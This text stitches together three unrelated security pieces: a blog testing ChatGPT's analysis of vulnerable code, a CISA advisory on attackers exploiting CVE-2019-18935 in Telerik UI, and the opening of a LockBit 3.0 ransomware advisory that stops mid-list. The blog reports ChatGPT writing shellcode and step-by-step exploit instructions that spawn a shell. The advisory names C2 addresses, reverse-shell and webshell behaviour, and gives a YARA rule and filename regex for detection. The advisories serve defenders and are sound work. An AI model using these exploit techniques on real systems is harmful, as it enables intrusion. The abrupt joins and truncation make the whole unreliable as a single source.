Since it was first released to the public late last year, ChatGPT has successfully captured the attention of many. OpenAI’s large language model chatbot is intriguing for a variety of reasons, not the least of which is the manner in which it responds to human users. ChatGPT’s language usage resembles that of an experienced professional. But while its responses are delivered with unshakeable confidence, its content is not always as impressive.

Before proceeding to the research results, it is important to understand that artificial intelligence systems encompass a variety of different techniques and technologies to make decisions and predictions. Without a full understanding of the technologies behind OpenAI’s chatbot, it is impossible to make a truly accurate assessment about the scope of its capabilities. In lieu of that, the best that we can do is treat it as a black box and assess its responses to various prompts.

For this blog, we tested ChatGPT’s ability to perform basic static code analysis on some vulnerable code snippets. At first glance, the responses it delivered were astounding, but as with any good research, it was necessary to scratch the surface to see its true value.

Figure 1. The vulnerable code refactored using dynamic memory allocation.

Buffer Overflow in C

The first piece of code tested was a simple buffer overflow example. ChatGPT quickly determined that it contained a vulnerability due to the length of the string printed exceeding the size of the fixed-length buffer. When asked to categorize, it assigned a CVSSv2 vector of AV:L/AC:L/Au:N/C:P/I:P/A:P and labeled it as CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer. When asked how to make the code more secure, ChatGPT suggested increasing the size of the buffer, using a more secure function (snprintf in place of sprintf), or dynamically allocating memory for the buffer based on the length of the string. It recognized the limitations of assigning these labels without further context. More impressively, ChatGPT could refactor the code based on any of the fixes that it suggested – for example, using dynamic memory allocation.

Going further, we asked ChatGPT to show how an attacker could exploit this vulnerability, and it did not disappoint. Since we did not give it any constraints, it updated the code snippet with a variable the size of the buffer and a shellcode to echo ‘Hello World.’ First, the code would have to be compiled in order to execute it. Although this safeguard can be easily disabled, modern compilers like GNU Compiler Collection (GCC) can prevent code from writing explicitly declared variables into smaller buffers acting as a primary safeguard to avoid such issues. When asked how it would exploit the vulnerability after the code was compiled, ChatGPT generated a python script with the same shellcode.

Figure 2. Python script with the same shellcode.

Most interestingly, when asked how to exploit the code from a Linux shell, ChatGPT provided detailed step-by-step instructions on how to use objdump, gdb and msfvenom to generate the payload.

Figure 3. Step-by-step instructions on how to use objdump, gdb and msfvenom to generate the payload.

It could have used a simpler method, but knowing the offset of the buffer, the AI took a much more aggressive approach by spawning /bin/sh, declaring:

‘This effectively gives the attacker a command prompt with root privileges.’

This would be true if the vulnerable code were running with root privileges already, which is not always the case. When asked why it is assumed that the user is root, ChatGPT explained that the user will be inherited from the parent process running the code.

‘I apologize for any confusion.  […] in a realistic scenario, the user who executes the shellcode may not have root privileges.’

Cross-Site Scripting in JavaScript/PHP

The second code we tested was an example of DOM-based Cross-Site Scripting (XSS). This time, ChatGPT would not commit to a particular category as it found multiple issues, including XSS, if the value of ‘name’ is not properly sanitized. When asked specifically about the XSS, it gave a CVSSv2 vector of AV:N/AC:M/Au:N/C:P/I:P/A:N and labeled it as CWE-79: Cross-Site Scripting (XSS) or CWE-494: Download of Code Without Integrity Check. Additionally, ChatGPT suggested multiple ways to improve the security of this code, including sanitizing user input using certain PHP functions, running the code in strict mode, and using a content security policy (CSP). Once again, it was able to quickly refactor the code to make it more secure, describing the changes that it made.

Figure 4. ChatGPT found multiple issues with very little context.

What was interesting about the refactored code is that ChatGPT wrote new functions to implement these changes rather than just expanding the existing code block. This suggests that ChatGPT is at least aware of some basic software development practices and when to apply them.

Code Execution in Ruby

The last code we tested was a potential code execution in Discourse’s AWS notification webhook handler. ChatGPT first described the code as shown below:

‘This code appears to be a Ruby script that defines a Sidekiq job for confirming an Amazon SNS subscription. The purpose of this job is to verify that the SNS message received is authentic and then confirm the subscription by visiting the SubscribeURL.’

Although this description is a bit vague, it is a good enough starting point to describe the code. ChatGPT also provided a line-by-line breakdown of the code. The descriptions of each line describe the methods being used and how they relate to their parameters, and while they can be helpful, ChatGPT could not infer any more context. Interestingly, when supplied with the same code with the variables and identifiers changed, it provided an almost identical response, suggesting that it was doing more than just looking up definitions based on naming conventions.

Initially, ChatGPT did not find any issues with this code:

‘Overall, this code appears to be secure and well-written, using appropriate error checking and an AWS SDK to verify the authenticity of the SNS message.’

ChatGPT finding no issues with this code is not surprising since exploitation of this code relies on creating a custom endpoint and injecting a crafted X509 certificate. While the code itself is not obviously problematic, ChatGPT is a little too trusting with user-supplied input that could result in code execution when calling the ‘open’ method under the right conditions. The complexity of this vulnerability is much higher than that of the previous examples and requires an understanding of the AWS SDK of which to take advantage. However, when specifically asked about security issues, ChatGPT was able to identify the root causes of the vulnerability, even if it did not know the exact method of exploitation.

Figure 5. Descriptions of the changes that ChatGPT made when asked to improve its security.

Though these insights are basic, they can be helpful when finding vulnerabilities. In this instance, the code block was quite small – only 16 lines without whitespace – but that is not often the case. When trying to find and/or exploit a vulnerability, the starting point is often much broader in scope. Additionally, since any block of code often contains multiple issues, an elegant description of problematic elements can help filter out the noise when searching for the cause of a particular behavior.

When starting with a large block of code, an AI-powered static analysis tool could be valuable in helping researchers reduce the amount of time and effort required to narrow the search.

The Right Tool for the Job?

Although only a few tests are highlighted here, we provided ChatGPT with a lot of code to see how it would respond. It often responded with mixed results. With the three examples above, it did quite well finding potential issues. These examples were chosen because they are relatively unambiguous, so ChatGPT would not have to infer much context beyond the code that it was given.

To get the most out of ChatGPT, it is important to be as clear and specific as possible. When supplying it with larger code blocks or less straightforward issues, it did not do very well at spotting them, but that is no less true about humans trying to do the same job.

Although static analysis tools have been used for years to identify vulnerabilities in code, they have limitations in terms of their ability to assess broader security aspects – sometimes reporting vulnerabilities that are impossible to exploit. ChatGPT demonstrates greater contextual awareness and is able to generate exploits that cover a more comprehensive analysis of security risks. The biggest flaw when using ChatGPT for this type of analysis is that it is incapable of interpreting the human thought-process behind the code.

For the best results, ChatGPT will need more user input to elicit a contextualized response detailing what is required to illustrate the code’s purpose.

The responses that ChatGPT delivers are not always accurate. In OpenAI’s defense, ChatGPT’s purpose is to simulate human conversation, and, in that regard, it is wildly successful. As a tool specifically designed to generate chat, it should be no surprise that ChatGPT is particularly good at writing clear and concise responses. Additionally, ChatGPT could be particularly useful for generating skeleton code and unit tests since those require a minimal amount of context and are more concerned with the parameters being passed - another thing at which ChatGPT excelled in these tests.

It is flexible enough to be able to respond to many different requests, but it is not necessarily suited to every job that is asked of it. That said, ChatGPT provides a real source of intrigue for more specialized AI-powered tools in the future. Still, as with any exciting new tool, it is necessary to push the limits to find the most suitable use cases. There is already a variety of ChatGPT-powered plugins for different software from Integrated Development Environments (IDEs) to disassemblers, so it is only a matter of time until some applications rise to the top.

SUMMARY

From November 2022 through early January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) and authoring organizations identified the presence of indicators of compromise (IOCs) at a federal civilian executive branch (FCEB) agency. Analysts determined that multiple cyber threat actors, including an APT actor, were able to exploit a .NET deserialization vulnerability (CVE-2019-18935) in Progress Telerik user interface (UI) for ASP.NET AJAX, located in the agency’s Microsoft Internet Information Services (IIS) web server. Successful exploitation of this vulnerability allows for remote code execution. According to Progress Software, Telerik UI for ASP.NET AJAX builds before R1 2020 (2020.1.114) are vulnerable to this exploit.[1]

Actions to take today to mitigate malicious cyber activity:

• Implement a patch management solution to ensure compliance with the latest security patches.
• Validate output from patch management and vulnerability scanning against running services to check for discrepancies and account for all services.
• Limit service accounts to the minimum permissions necessary to run services.

CISA, the Federal Bureau of Investigation (FBI), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) to provide IT infrastructure defenders with tactics, techniques, and procedures (TTPs), IOCs, and methods to detect and protect against similar exploitation.

Download the PDF version of this report:

For a downloadable copy of IOCs, see

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding detection and mitigation recommendations.

Overview

CISA and authoring organizations assess that, beginning as late as November 2022, threat actors successfully exploited a .NET deserialization vulnerability (CVE-2019-18935) in an instance of Telerik UI for ASP.NET AJAX Q2 2013 SP1 (version 2013.2.717) running on an FCEB agency’s Microsoft IIS server. This exploit, which results in interactive access with the web server, enabled the threat actors to successfully execute remote code on the vulnerable web server. Though the agency’s vulnerability scanner had the appropriate plugin for CVE-2019-18935, it failed to detect the vulnerability due to the Telerik UI software being installed in a file path it does not typically scan. This may be the case for many software installations, as file paths widely vary depending on the organization and installation method.

In addition to CVE-2019-18935, this version (2013.2.717) of Telerik UI for ASP.NET AJAX contains the following known vulnerabilities: CVE-2017-11357, CVE-2017-11317, and CVE-2017-9248. Analysis suggests that cyber threat actors exploited CVE-2019-18935 in conjunction with either CVE-2017-11357 or CVE-2017-11317. Australian Cyber Security Centre (ACSC) Advisory 2020-004 assesses that exploitation of CVE-2019-18935 is only possible with knowledge of Telerik RadAsyncUpload encryption keys.[2] Threat actors can obtain these keys through either prior knowledge or exploitation of vulnerabilities—CVE-2017-11357 or CVE-2017-11317—present in older, unpatched versions of Telerik released between 2007 and 2017. Forensic evidence is not available to definitively confirm exploitation of either CVE-2017-11357 or CVE-2017-11317.

Threat Actor Activity

CISA and authoring organizations observed multiple cyber threat actors, including an APT actor—hereafter referred to as Threat Actor 1 (TA1)—and known cybercriminal actor XE Group—hereafter referred to as Threat Actor 2 (TA2)—conducting reconnaissance and scanning activities [T1595.002] that correlate to the successful exploitation of CVE-2019-18935 in the agency’s IIS server running Telerik UI for ASP.NET AJAX [T1190].

When exploiting the vulnerability, the threat actors uploaded malicious dynamic-link library (DLL) files (some masqueraded as portable network graphics [PNG] files) [T1105] to the C:\Windows\Temp\ directory. The malicious files were then executed from the C:\Windows\Temp\ directory via the w3wp.exe process—a legitimate process that runs on IIS servers. This process is routine for handling requests sent to web servers and delivering content. The review of antivirus logs identified that some DLL files were created [T1055.001] and detected as early as August 2021.

CISA and authoring organizations confirmed that some malicious files dropped on the IIS server are consistent with a previously reported file naming convention that threat actors commonly use when exploiting CVE-2019-18935.[3] The threat actors name the files in the Unix Epoch time format and use the date and time as recorded on the target system. The file naming convention follows the pattern [10 digits].[7 digits].dll (e.g., a file created on October 31, 2022, could be 1667203023.5321205.dll).

The names of some of the PNG files were misleading. For example, file 1596835329.5015914.png, which decodes to August 7, 2020, 21:22:09 UTC, first appeared on October 13, 2022, but the file system shows a creation date of August 7, 2020. The uncorrelated Unix Epoch time format may indicate that the threat actors used the timestomping [T1070.006] technique. This file naming convention is a primary IOC used by the threat actors.

In many cases, malicious artifacts were not available for analysis because the threat actors’ malware—that looks for and removes files with the .dll file extension—removed files [T1070.004] from the C:\Windows\Temp\ directory. Through full packet data capture analysis and reverse engineering of malicious DLL files, no indications of additional malicious activity or sub-processes were found executed by the w3wp.exe process. CISA observed error messages being sent to the threat actors’ command and control (C2) server when permission restraints prevented the service account from executing the malicious DLLs and writing new files.

Network activity analysis was consistent with the artifacts provided for review. Analysts did not observe evidence of privilege escalation or lateral movement.

Threat Actor 1

CISA and authoring organizations observed TA1 exploiting CVE-2019-18935 for system enumeration beginning in August 2022. The vulnerability allows a threat actor to upload malicious DLLs on a target system and execute them by abusing a legitimate process, e.g., the w3wp.exe process. In this instance, TA1 was able to upload malicious DLL files to the C:\Windows\Temp\ directory and then achieve remote code execution, executing the DLL files via the w3wp.exe process.

At least nine DLL files used for discovery [TA0007], C2 [TA0011], and defense evasion [TA0005]. All of the analyzed samples have network parameters, including host name, domain name, Domain Name System (DNS) server Internet Protocol (IP) address and machine name, Network Basic Input/Output System (NetBIOS) ID, adapter information, IP address, subnet, gateway IP, and Dynamic Host Configuration Protocol (DHCP) server [T1016]. All analyzed samples communicate this collected data to a C2 server at IP address 137.184.130[.]162 or 45.77.212[.]12. The C2 traffic to these IP addresses uses a non-application layer protocol [T1095] by leveraging Transmission Control Protocol (TCP) clear text (i.e., unencrypted) over port 443. Analysis also identified that:

• Some of the analyzed samples can load additional libraries; enumerate the system, processes, files, directories [T1083]; and write files.
• Other analyzed samples can delete DLL files ending with the .dll extension in the C:\Windows\Temp\ directory on the server. TA1 may use this capability to hide additional malicious activity on the network.

CISA, in coordination with the authoring organizations, identified and observed the following threat actor IPs and timestamps associated with this activity:

Threat Actor 2

TA2—identified as likely the cybercriminal actor XE Group—often includes xe[word] nomenclature in original filenames and registered domains. Volexity lists this naming convention and other observed TTPs as common for this threat actor group.[4]

As early as August 2021, CISA and authoring organizations observed TA2 delivering malicious PNG files that, following analysis, were masqueraded DLL files to avoid detection [T1036.005]. Similar to TA1, TA2 exploited CVE-2019-18935 and was able to upload at least three unique DLL files into the C:\Windows\Temp\ directory that TA2 executed via the w3wp.exe process. These DLL files drop and execute reverse (remote) shell utilities for unencrypted communication with C2 IP addresses associated with the malicious domains listed in Table 2. Note: At the time of analysis, the domains resolved to the listed IP addresses.

Analysis of DLL files determined the files listed in Table 3 were dropped, decoded, and attempted to connect to the respective malicious domains. Embedded payloads dropped by the DLL files were observed using the command line utility certutil[.]exe and writing new files as xesvrs[.]exe to invoke reverse shell utilities execution.

 When the TA2 malware is executed a DLL file drops an executable (XEReverseShell.exe) that attempts to pull a C2 IP address and port number from xework[.]com or xegroups[.]com.

• If no port or IP address is found, the program will exit.
• If a port and IP address are found, the program will establish a listener and wait for further commands.

If communication is established between the TA2 malware and the C2:

• The malware will identify the operating system (Windows or Linux) and create the appropriate shell (cmd or bash), sending system information back to the C2.
• The C2 server may send the command xesetshell, causing the malware to connect to the server and download a file called small.txt—a base64-encoded webshell that the malware decodes and places in the C:\Windows\Temp\ directory.
• The C2 server may send the command xequit, causing the malware to sleep for a period of time determined by the threat actors.

The two files xesmartshell.tmp and SortVistaCompat have the capability to drop an Active Server Pages (ASPX) webshell—a base64 encoded text file small.txt decoded [T1140] as small.aspx [T1505.003]—to enumerate drives; to send, receive, and delete files; and to execute incoming commands. The webshell contains an interface for easily browsing files, directories, or drives on the system, and allows the user to upload or download files to any directory. No webshells were observed to be dropped on the target system, likely due to the abused service account having restrictive write permissions.

For more information on the DLLs, binaries, and webshell, see CISA MAR-10413062-1.v1 Telerik Vulnerability in U.S. Government IIS Server.

MITRE ATT&CK TACTICS AND TECHNIQUES

See Table 4 for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping to the MITRE ATT&CK framework, see CISA’s Decider Tool and Best Practices for MITRE ATT&CK Mapping Guide.

DETECTION METHODS

CISA and authoring organizations recommend that organizations review the steps listed in this section and Table 4: Identified ATT&CK Techniques for Enterprise to detect similar activity on IIS servers.

Yara Rule

CISA developed the following YARA rule from the base proof-of-concept code for CVE-2019-18935.[5] Note: Authoring organizations do not guarantee all malicious DLL files (if identified) will use the same code provided in this YARA rule.

rule CISA_10424018_01 {
meta:
        Author = "CISA Code & Media Analysis"
        Incident = "10424018"
        Date = "2023-02-07"
        Last_Modified = "20230216_1500"
        Actor = "n/a"
        Family = "n/a"
        Capabilities = "n/a"
        Malware_Type = "n/a"
        Tool_Type = "n/a"
        Description = "Detects open-source exploit samples"
        SHA256 = "n/a"
    strings:
        $s0 = { 3D 20 7B 20 22 63 6D 22 2C 20 22 64 2E 65 22 2C }
        $s1 = { 20 22 78 22 2C 20 22 65 22 20 7D 3B }
        $s2 = { 52 65 76 65 72 73 65 53 68 65 6C 6C 28 29 }
        $s3 = { 54 65 6C 65 72 69 6B 20 55 49 }
        $s4 = { 66 69 6C 65 6E 61 6D 65 5F 6C 6F 63 61 6C }
        $s5 = { 66 69 6C 65 6E 61 6D 65 5F 72 65 6D 6F 74 65 }
        $s6 = { 41 55 43 69 70 68 65 72 2E 65 6E 63 72 79 70 74 }
        $s7 = { 31 32 31 66 61 65 37 38 31 36 35 62 61 33 64 34 }
$s8 = { 43 6F 6E 6E 65 63 74 53 74 61 67 69 6E 67 53 65 72 76 65 72 28 29 }
        $s9 = { 53 74 61 67 69 6E 67 53 65 72 76 65 72 53 6F 63 6B 65 74 }
        $s10 = { 2A 62 75 66 66 65 72 20 3D 20 28 75 6E 73 69 67 6E 65 }
$s11 = { 28 2A 29 28 29 29 62 75 66 66 65 72 3B 0A 20 20 20 20 66 75 6E 63 28 29 3B }
$s12 = { 75 70 6C 6F 61 64 28 70 61 79 6C 6F 61 64 28 54 65 6D 70 54 61 72 67 65 74 }
        $s13 = { 36 32 36 31 36 66 33 37 37 35 36 66 32 66 }
    condition:
($s0 and $s1 and $s2) or ($s3 and $s4 and $s5 and $s6 and $s7) or ($s8 and $s9 and $s10 and $s11) or ($s12 and $s13)
}

Log Collection, Retention, and Analysis

CISA, FBI, and MS-ISAC recommend that organizations utilize a centralized log collection and monitoring capability, as well as implement or increase logging and forensic data retention. Longer retention policies improve the availability of data for forensic analysis and aid thorough identification of incident scope.

• Centralized log collection and monitoring allows for the discovery of webshell and other exploit activity. For example, organizations should monitor for external connections made from the IIS server to unknown external IP addresses. Logging may also be available—if enabled at the router or firewall—for any outbound connections initiated with PowerShell.
• Access- and security-focused firewall (e.g., Web Application Firewall [WAF]) logs can be collected and stored for use in both detection and forensic analysis activities. Organizations should use a WAF to guard against publicly known web application vulnerabilities, in addition to guarding against common web application attacks.

Creation of Malicious DLLs

CISA, FBI, and MS-ISAC recommend that organizations use process monitoring—which provides visibility into file system and application process activity—to detect suspicious executable files running from the C:\Windows\Temp\ directory. Process monitoring via Windows Event Code 4688 will detect the legitimate w3wp.exe process running suspicious DLL files and other anomalous child processes. Note: Enabling this event may inundate security event logging. Use centralized log collection to prevent log rollover, increase log retention and archiving, and/or enable command line event logging.

Forensic analysis commonly identified the threat actors taking the following steps:

1. Create one of the DLL files (C:\Windows\Temp\1665890187.8690152.dll) by process w3wp.exe PID 6484.
2. Load the newly created DLL into a currently running IIS process, w3wp.exe PID 6484. 
3. Make a TCP connection using w3wp.exe PID 6484 to 45.77.212[.]12 over port 443.
4. Invoke C:\Windows\System32\vcruntime140.dll (Windows C runtime library) to execute payload.

Steps 1 and 2 occur every time a malicious DLL file is created. In some cases, an ASP .NET temp file was created, but this may have indicated benign IIS server activity. Note: The Process ID (PID) used in this example is unique to this investigation and is not universal. IP address 45.77.212[.]12 correlates to TA1, but the pattern can be used as general practice to identify similar activity.

Additional Searching for IIS Servers

The following information was derived from artifact analysis and is provided to equip IT infrastructure defenders searching for similar activity on an IIS server. Several artifacts can be referenced to assist in determining if CVE-2019-18935 has been successfully exploited.

File Type: DLL

Location: - %SystemDrive%\Windows\Temp\

When this CVE is exploited, it uploads malicious DLL files to the C:\Windows\Temp\ directory. The malicious DLL file naming convention translates to the exact time the file was uploaded to the server.

The time is represented in a series of digits, known as Unix Epoch time. The files observed during this investigation contained two sets of digits separated by a period (.) before the DLL extension (.dll). Example: 1667206973.2270932.dll

Nearly all recovered files contain a series of 10 digits to the left of the period (.) and seven digits to the right. However, one file contained only five digits in the second set, which should be taken into consideration when writing regex patterns to search for the existence of these files. Example Regex: \d{10}\.\d{1,8}\.dll

These numbers can be copied and translated from digits into readable language with the month, day, year, hour, minute, and seconds displayed.

Log Type: IIS

Location: - %SystemDrive%\inetpub\logs\LogFiles

When investigating IIS logs, specific fields were searched for and captured during the time of each connection.

If the Unix Epoch time signature has been translated from a DLL filename, specific logs can be searched based on that time. However, if the Unix Epoch time signature has not been translated, the following will still work, but may take longer for the query to run.

The four most important fields to identify this traffic are noted in the following table. These descriptions are sourced directly from Microsoft.[6]

Note: Depending on how logs are collected and stored, the field names may not be an exact match; this should be taken into consideration when constructing queries.

When ingesting logs into security information and event management (SIEM), the final field names did not use a hyphen (-) but used an underscore (_).

Example: cs_method instead of cs-method

Artifacts:

When reviewing logs, two IIS events were observed with the same timestamp each time this CVE-2019-18935 was exploited. Both events contained the same information in the cs-method, cs-uri-stem, and cs-uri-query. One event had a sc-status of 200 and the other had a sc-status of 302.

Log Type: Windows Event Application Logs

Location: -%SystemDrive%\Windows\System32\winevt\logs\Application.evtx

Kroll Artifact Parser and Extractor (KAPE), a forensic artifact collector and parser, was used to extract the Windows event logs from a backup image of the compromised IIS server. All field names refer to the labels provided via KAPE exports. The strings are of value and can be used to locate other artifacts if different tools are used. Note: The payload data in the following table has been shortened to only necessary strings to obscure and protect victim information.

Authoring organizations recommend looking for the following key strings in the payload:

• w3wp.exe: This is the parent process that executes the code inside the malicious DLLs.
• System.Configuration.Install.AssemblyInstaller: Figure 1 is from the creator’s GitHub repo,[7] where the string can be observed in the code. As presented by Bishop Fox and proven during authoring organizations’ investigation of IIS server logs, an exception does not mean that the exploit failed, but more likely that it executed successfully.[3]

If a Werfault crash report was written, Windows event application logs may contain evidence of this— even if the DLLs have been removed from the system as part of a cleanup effort by the threat actors.

The EventID field maps to Windows EventIDs for an easy filter. Users can leverage the Windows EventIDs to find malicious DLL with the Unix Epoch time-based name inside the C:\Windows\Temp\ directory.

Depending how log analysis is performed, various filters can be determined. However, if regex is available, the example listed in Table 8 above can be reused to match the Unix Epoch timestamp convention to assist in filtering.

Additional Analysis

When evidence of malicious DLLs is found, reverse engineering will need to be conducted to fully understand what actions occur as the malicious files could do nearly anything. Leveraging Windows security event logs, as well as Windows PowerShell logs, may provide insight into what actions the DLLs are taking. CISA and authoring organizations recommend the following process:

1. Convert any discovered malicious DLL timestamps to readable format.
2. Export the Windows security event and PowerShell logs from the device.
   • Default path: %SystemDrive%\Windows\System32\winevt\logs\Windows PowerShell
   • Default path: %SystemDrive%\Windows\System32\winevt\logs\Security.evtx
3. Filter based on identified timestamps.
4. Search for new processes created via w3wp.exe in Windows security event logs (e.g., Windows EventID 4688 New Process created).
5. Search for new PIDs from identified events. Investigate to determine if they spawned any other processes.
   • Example: CMD.EXE launching PowerShell or running other commands such as nslookup or netstat. Note: This is not an exhaustive list.
6. Search for EventID 600 in PowerShell logs.

Trellix XDR Platform Searching

If Trellix XDR Platform is deployed in an environment and a standard HX triage audit is completed in a timely manner of the suspected use of CVE-2019-18935, an organization can search for file write events from known web processes. This will identify the executables written by the web server process. CISA and authoring organizations specifically recommend searching for the following field value pair:

MITIGATIONS

Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.

Manage Vulnerabilities and Configurations

• Upgrade all instances of Telerik UI ASP.NET AJAX to the latest version after appropriate testing. Keep all software up to date and prioritize patching to known exploited vulnerabilities (KEVs). [CPG 5.1]
• Prioritize remediation of vulnerabilities on internet-facing systems. For additional guidance, see CISA Insights - Remediate Vulnerabilities for Internet-Accessible Systems. [CPG 5.1]
• Implement a patch management solution to ensure compliance with the latest security patches. A patch management solution that inventories all software running in addition to vulnerability scanning is recommended.
• Ensure vulnerability scanners are configured to scan a comprehensive scope of devices and locations. For example, as noted in the Technical Details section, the victim organization had the appropriate plugin for CVE-2019-18935, but the vulnerability went undetected due to the Telerik UI software being installed in a file path not typically scanned. To identify unpatched instances of software vulnerabilities, organizations using vulnerability scanners should be aware that all installations may not be considered “typical” and may require full file scans of web applications.
  • Note: Vulnerability scanners may have limitations in detecting vulnerabilities, such as only being able to identify Windows Installer-installed applications, which was the case with this agency’s vulnerability scanner. The Telerik UI software was installed via a continuous integration (CI) and continuous delivery (CD) pipeline rather than the Windows Installer. This highlights the importance of using a comprehensive approach for vulnerability scanning that considers all potential installation methods and file paths.
• Validate output from patch management and vulnerability scanning solutions against running services to check for discrepancies and account for all services.

 Segment Networks Based on Function

• Implement network segmentation to separate network segments based on role and functionality. Proper network segmentation significantly reduces the ability for threat actor lateral movement by controlling traffic flows between—and access to—various subnetworks. (See CISA’s Layering Network Security Through Segmentation infographic and the National Security Agency’s Segment Networks and Deploy Application-Aware Defenses.) [CPG 8.1]
• Isolate similar systems and implement micro-segmentation with granular access and policy restrictions to modernize cybersecurity and adopt zero trust principles for both network perimeter and internal devices. Logical and physical segmentation are critical to limiting and preventing lateral movement, privilege escalation, and exfiltration. Utilize access control lists (ACLs), hardened firewalls, and network monitoring devices to regulate, monitor, and audit cross-segment access and data transfers.

Other Best Practice Mitigation Recommendations

• Implement phishing-resistant multifactor authentication (MFA) for as many services possible—particularly for webmail, virtual private networks (VPNs), accounts that access critical systems, and privileged accounts that manage backups.
  • MFA can still be leveraged for secure access using a jump server—an asset placed between the external and internal networks that serves as an intermediary for access—to facilitate connections if assets do not have the capability to support MFA implementation.
  • For additional guidance on secure MFA configurations, visit cisa.gov/mfa. [CPG 1.3]
• Monitor and analyze activity logs generated from Microsoft IIS and remote PowerShell. Collect access and security focused logs (IDS/IDPS, firewall, DLP, VPN) and ensure logs are securely stored for a specified duration informed by risk or pertinent regulatory guidance. [CPG 3.1, 3.2]
  • Evaluate user permissions and maintain separate user accounts for all actions and activities not associated with the administrator role, e.g., for business email, web browsing, etc. All privileges should be reevaluated on a recurring basis to validate continued need for a given set of permissions. [CPG 1.5]
• Limit service accounts to the minimum permissions necessary to run services. CISA observed numerous error messages in network logs indicative of failed attempts to write files to additional directories or move laterally.
• Maintain a robust asset management policy through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions.
  • Determine the need and functionality of assets that require public internet exposure. [CPG 2.3]

VALIDATE SECURITY CONTROLS

In addition to applying mitigations, CISA, FBI, and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA and co-sealers recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (see Table 4).
2. Align your security technologies against the selected technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies’ performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program—including people, processes, and technologies—based on the data generated by this process.

CISA, FBI, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

RESOURCES

UNIX Timestamp Converter

REFERENCES

[1] Telerik: Exploiting .NET JavaScriptSerializer Deserialization (CVE-2019-18935)
[2] ACSC Advisory 2020-004
[3] Bishop Fox CVE-2019-18935: Remote Code Execution via Insecure Deserialization in Telerik UI
[4] Volexity Threat Research: XE Group
[5] GitHub: Proof-of-Concept Exploit for CVE-2019-18935
[6] Microsoft: Configure Logging in IIS
[7] GitHub: CVE-2019-18935

ACKNOWLEDGEMENTS

Google’s Threat Analysis Group (TAG) contributed to this CSA.

Please share your thoughts. We recently updated our anonymous Product Feedback Survey and we'd welcome your feedback.

SUMMARY

Note: this joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

Actions to take today to mitigate cyber threats from ransomware:

• Prioritize remediating known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enable and enforce phishing- resistant multifactor authentication.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate known LockBit 3.0 ransomware IOCs and TTPs identified through FBI investigations as recently as March 2023.

The LockBit 3.0 ransomware operations function as a Ransomware-as-a-Service (RaaS) model and is a continuation of previous versions of the ransomware, LockBit 2.0, and LockBit. Since January 2020, LockBit has functioned as an affiliate-based ransomware variant; affiliates deploying the LockBit RaaS use many varying TTPs and attack a wide range of businesses and critical infrastructure organizations, which can make effective computer network defense and mitigation challenging.

The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.

Download the PDF version of this report: 

TECHNICAL DETAILS

Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 12. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK for Enterprise.

CAPABILITIES

LockBit 3.0, also known as “LockBit Black,” is more modular and evasive than its previous versions and shares similarities with Blackmatter and Blackcat ransomware.

LockBit 3.0 is configured upon compilation with many different options that determine the behavior of the ransomware. Upon the actual execution of the ransomware within a victim environment, various arguments can be supplied to further modify the behavior of the ransomware. For example, LockBit 3.0 accepts additional arguments for specific operations in lateral movement and rebooting into Safe Mode (see LockBit Command Line parameters under Indicators of Compromise). If a LockBit affiliate does not have access to passwordless LockBit 3.0 ransomware, then a password argument is mandatory during the execution of the ransomware. LockBit 3.0 affiliates failing to enter the correct password will be unable to execute the ransomware [T1480.001]. The password is a cryptographic key which decodes the LockBit 3.0 executable. By protecting the code in such a manner, LockBit 3.0 hinders malware detection and analysis with the code being unexecutable and unreadable in its encrypted form. Signature-based detections may fail to detect the LockBit 3.0 executable as the executable’s encrypted potion will vary based on the cryptographic key used for encryption while also generating a unique hash. When provided the correct password, LockBit 3.0 will decrypt the main component, continue to decrypt or decompress its code, and execute the ransomware.

LockBit 3.0 will only infect machines that do not have language settings matching a defined exclusion list. However, whether a system language is checked at runtime is determined by a configuration flag originally set at compilation time. Languages on the exclusion list include, but are not limited to, Romanian (Moldova), Arabic (Syria), and Tatar (Russia). If a language from the exclusion list is detected [T1614.001], LockBit 3.0 will stop execution without infecting the system.

INITIAL ACCESS

Affiliates deploying LockBit 3.0 ransomware gain initial access to victim networks via remote desktop protocol (RDP) exploitation [T1133], drive-by compromise [T1189], phishing campaigns [T1566], abuse of valid accounts [T1078], and exploitation of public-facing applications [T1190].

EXECUTION AND INFECTION PROCESS

During the malware routine, if privileges are not sufficient, LockBit 3.0 attempts to escalate to the required privileges [TA0004]. LockBit 3.0 performs functions such as:

